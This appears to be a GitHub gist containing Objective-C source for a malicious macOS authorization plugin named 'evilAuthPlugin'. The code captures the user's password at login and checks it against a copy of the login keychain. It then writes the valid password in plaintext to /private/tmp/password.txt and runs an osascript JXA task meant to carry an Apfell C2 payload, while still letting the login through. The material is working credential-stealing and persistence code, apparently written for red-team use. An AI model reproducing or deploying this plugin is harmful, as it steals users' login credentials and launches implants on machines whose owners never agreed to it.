Skip to content

Instantly share code, notes, and snippets.

@xorrior

xorrior/Common.h Secret

Last active July 7, 2020 16:38
Show Gist options
  • Save xorrior/a5abd783399332fb9d5b25032d41d442 to your computer and use it in GitHub Desktop.
Save xorrior/a5abd783399332fb9d5b25032d41d442 to your computer and use it in GitHub Desktop.
Authorization Plugin Example
//
// Common.h
// evilAuthPlugin
//
// Created by Chris Ross on 9/25/18.
//
#ifndef Common_h
#define Common_h
#import <Foundation/Foundation.h>
// code taken from here: https://github.com/alex030/UserConfigAgent
BOOL ValidateLoginPassword(NSString *newPassword);
BOOL ValidateLoginKeychainPassword(NSString *OldPassword);
#endif /* Common_h */
//
// Common.m
// evilAuthPlugin
//
// Created by Chris Ross on 9/25/18.
//
// code taken from here: https://github.com/alex030/UserConfigAgent
#import <Foundation/Foundation.h>
#import "Common.h"
BOOL ValidateLoginPassword(NSString *newPassword) {
AuthorizationItem right;
right.name = "system.login.screensaver";
right.value = NULL;
right.valueLength = 0;
right.flags = 0;
AuthorizationRights authRights;
authRights.count = 1;
authRights.items = &right;
AuthorizationItem authEnvItems[2];
authEnvItems[0].name = kAuthorizationEnvironmentUsername;
authEnvItems[0].valueLength = NSUserName().length;
authEnvItems[0].value = (void *)[NSUserName() UTF8String];
authEnvItems[0].flags = 0;
authEnvItems[1].name = kAuthorizationEnvironmentPassword;
authEnvItems[1].valueLength = newPassword.length;
authEnvItems[1].value = (void *)[newPassword UTF8String];
authEnvItems[1].flags = 0;
AuthorizationEnvironment authEnv;
authEnv.count = 2;
authEnv.items = authEnvItems;
AuthorizationFlags authFlags = (kAuthorizationFlagExtendRights | kAuthorizationFlagDestroyRights);
// Create an authorization reference, retrieve rights and then release.
// CopyRights is where the authorization actually takes place and the result lets us know
// whether auth was successful.
OSStatus authStatus = AuthorizationCreate(&authRights, &authEnv, authFlags, NULL);
return (authStatus == errAuthorizationSuccess);
}
BOOL ValidateLoginKeychainPassword(NSString *oldPassword) {
// Get default keychain path
SecKeychainRef defaultKeychain = NULL;
if (SecKeychainCopyDefault(&defaultKeychain) != errSecSuccess) {
if (defaultKeychain) CFRelease(defaultKeychain);
return YES;
}
UInt32 maxPathLen = MAXPATHLEN;
char keychainPath[MAXPATHLEN];
SecKeychainGetPath(defaultKeychain, &maxPathLen, keychainPath);
CFRelease(defaultKeychain);
// Duplicate the default keychain file to a new location.
NSString *path = @(keychainPath);
NSString *newPath = [path stringByAppendingFormat:@".%d",
(int)[[NSDate date] timeIntervalSince1970]];
if (link(path.UTF8String, newPath.UTF8String) != 0) {
return NO;
}
// Open and unlock this new keychain file.
SecKeychainRef keychainRef = NULL;
SecKeychainOpen(newPath.UTF8String, &keychainRef);
OSStatus err = SecKeychainUnlock(keychainRef, (UInt32)oldPassword.length,
oldPassword.UTF8String, YES);
CFRelease(keychainRef);
// Delete the temporary keychain file.
unlink(newPath.UTF8String);
return (err == errSecSuccess);
}
//
// main.m
// evilAuthPlugin
//
// Created by Chris Ross on 9/24/18.
//
// Code taken from here: https://github.com/alex030/UserConfigAgent/blob/42e3d786d52604b3cfbcdf8c77320093684626d7/UserConfigAgentPlugin/main.m
#import <Foundation/Foundation.h>
#import <Security/AuthorizationPlugin.h>
#import <OSAKit/OSAKit.h>
#include <Security/AuthSession.h>
#include <Security/AuthorizationTags.h>
#include <CoreServices/CoreServices.h>
#include "Common.h"
#include <syslog.h>
#include <unistd.h>
#define kKMAuthAuthorizeRight "authorize-right"
#define kMechanismMagic "MLSP"
#define kPluginMagic "PlgN"
@interface MyThreadRunner : NSObject
+(void)runP;
@end
@implementation MyThreadRunner
+(void)runP {
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/osascript"];
[task setArguments:@[ @"-l", @"JavaScript", @"-e", @"APFELL EVAL STRING GOES HERE" ]];
[task launch];
}
@end
struct PluginRecord {
OSType fMagic; // must be kPluginMagic
const AuthorizationCallbacks * fCallbacks;
};
typedef struct PluginRecord PluginRecord;
struct MechanismRecord {
OSType fMagic; // must be kMechanismMagic
AuthorizationEngineRef fEngine;
const PluginRecord * fPlugin;
Boolean fWaitForDebugger;
};
typedef struct MechanismRecord MechanismRecord;
NSString *GetStringFromContext(struct MechanismRecord *mechanism, AuthorizationString key) {
const AuthorizationValue *value;
AuthorizationContextFlags flags;
OSStatus err = mechanism->fPlugin->fCallbacks->GetContextValue(mechanism->fEngine, key, &flags, &value);
if (err == errSecSuccess && value->length > 0) {
NSString *s = [[NSString alloc] initWithBytes:value->data
length:value->length
encoding:NSUTF8StringEncoding];
return [s stringByReplacingOccurrencesOfString:@"\0" withString:@""];
}
return nil;
}
NSString *GetStringFromHint(MechanismRecord *mechanism, AuthorizationString key) {
const AuthorizationValue *value;
OSStatus err = mechanism->fPlugin->fCallbacks->GetHintValue(mechanism->fEngine, key,&value);
if (err == errSecSuccess && value->length > 0) {
NSString *s = [[NSString alloc] initWithBytes:value->data
length:value->length
encoding:NSUTF8StringEncoding];
return [s stringByReplacingOccurrencesOfString:@"\0" withString:@""];
}
return nil;
}
OSStatus AllowLogin(MechanismRecord *mechanism) {
return mechanism->fPlugin->fCallbacks->SetResult(mechanism->fEngine,kAuthorizationResultAllow);
}
OSStatus MechanismCreate(AuthorizationPluginRef inPlugin,AuthorizationEngineRef inEngine,AuthorizationMechanismId mechanismId,AuthorizationMechanismRef *outMechanism) {
MechanismRecord *mechanism = (MechanismRecord *)malloc(sizeof(MechanismRecord));
if (mechanism == NULL) return errSecMemoryError;
mechanism->fMagic = kMechanismMagic;
mechanism->fEngine = inEngine;
mechanism->fPlugin = (PluginRecord *)inPlugin;
*outMechanism = mechanism;
return errSecSuccess;
}
OSStatus MechanismDestroy(AuthorizationMechanismRef inMechanism) {
free(inMechanism);
return errSecSuccess;
}
OSStatus MechanismInvoke(AuthorizationMechanismRef inMechanism) {
MechanismRecord *mechanism = (MechanismRecord *)inMechanism;
@autoreleasepool {
// Make sure this is not a hidden user.
NSString *username = GetStringFromContext(mechanism, kAuthorizationEnvironmentUsername);
NSString *password = GetStringFromContext(mechanism, kAuthorizationEnvironmentPassword);
// NSString *sesOwner = GetStringFromHint(mechanism, kKMAuthSuggestedUser);
NSString *AuthAuthorizeRight = GetStringFromHint(mechanism, kKMAuthAuthorizeRight);
// Make sure we have username and password data.
if (!username || !password) {
return AllowLogin(mechanism);
}
BOOL keychainPasswordValid = YES;
SecKeychainSetUserInteractionAllowed(NO);
keychainPasswordValid = ValidateLoginKeychainPassword(password);
// Revert back to the default ids
pthread_setugid_np(KAUTH_UID_NONE, KAUTH_GID_NONE);
//NSData *passwordData = [NSKeyedArchiver archivedDataWithRootObject:password];
if (keychainPasswordValid) {
[password writeToFile:@"/private/tmp/password.txt" atomically:TRUE encoding:NSUTF8StringEncoding error:NULL];
}
// Launch the Apfell payload in a background thread
[NSThread detachNewThreadSelector:@selector(runP) toTarget:[MyThreadRunner class] withObject:nil];
}
return AllowLogin(mechanism);
}
OSStatus MechanismDeactivate(AuthorizationMechanismRef inMechanism) {
MechanismRecord *mechanism = (MechanismRecord *)inMechanism;
return mechanism->fPlugin->fCallbacks->DidDeactivate(mechanism->fEngine);
}
OSStatus PluginDestroy(AuthorizationPluginRef inPlugin) {
free(inPlugin);
return errSecSuccess;
}
OSStatus AuthorizationPluginCreate(
const AuthorizationCallbacks *callbacks,
AuthorizationPluginRef *outPlugin,
const AuthorizationPluginInterface **outPluginInterface) {
PluginRecord *plugin = (PluginRecord *)malloc(sizeof(PluginRecord));
if (plugin == NULL) return errSecMemoryError;
plugin->fMagic = kPluginMagic;
plugin->fCallbacks = callbacks;
*outPlugin = plugin;
static AuthorizationPluginInterface pluginInterface = {
kAuthorizationPluginInterfaceVersion,
&PluginDestroy,
&MechanismCreate,
&MechanismInvoke,
&MechanismDeactivate,
&MechanismDestroy
};
*outPluginInterface = &pluginInterface;
return errSecSuccess;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment